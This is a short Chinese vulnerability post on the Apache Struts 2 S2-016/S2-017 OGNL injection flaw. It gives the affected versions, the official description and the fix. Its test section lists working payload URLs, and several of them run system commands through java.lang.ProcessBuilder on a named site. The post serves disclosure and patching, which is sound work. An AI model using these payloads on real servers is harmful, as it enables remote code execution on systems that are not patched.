原链：http://zone.wooyun.org/content/5159
POC来自官方：
http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html
这是一个代码执行漏洞，利用java代码来执行系统命令。
影响版本：Struts 2.0.0 – Struts 2.3.15
漏洞说明：
The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
测试POC：
In the Struts Blank App, open following URLs.
Simple Expression – the parameter names are evaluated as OGNL.
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{3*4}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{3*4}
Command Execution
http://www.8090sec.com/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
http://www.8090sec.com/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
解决方法：
DefaultActionMapper was changed to sanitize “action:”-prefixed information properly. The features involved with “redirect:”/”redirectAction:”-prefixed parameters were completely dropped – see also S2-017.
官方说明：http://struts.apache.org/release/2.3.x/docs/s2-016.html